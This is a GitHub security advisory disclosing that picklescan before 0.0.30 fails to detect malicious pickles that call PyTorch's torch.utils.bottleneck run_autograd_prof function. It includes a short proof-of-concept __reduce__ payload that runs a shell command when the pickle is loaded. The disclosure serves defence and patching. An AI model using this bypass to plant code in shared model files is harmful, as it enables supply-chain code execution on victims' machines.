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Picklescan is missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_autograd_prof

Moderate severity GitHub Reviewed Published Aug 26, 2025 in mmaitre314/picklescan

Package

pip picklescan (pip)

Affected versions

< 0.0.30

Patched versions

0.0.30

Description

Summary

Using torch.utils.bottleneck.__main__.run_autograd_prof function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.bottleneck.main.run_autograd_prof function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunAutogradProf:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_autograd_prof, (code, globs)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

References

@mmaitre314 mmaitre314 published to mmaitre314/picklescan Aug 26, 2025
Published to the GitHub Advisory Database Aug 26, 2025
Reviewed Aug 26, 2025

Severity

Moderate

EPSS score

Weaknesses

No CWEs

CVE ID

No known CVE

GHSA ID

GHSA-4whj-rm5r-c2v8

Source code

Credits

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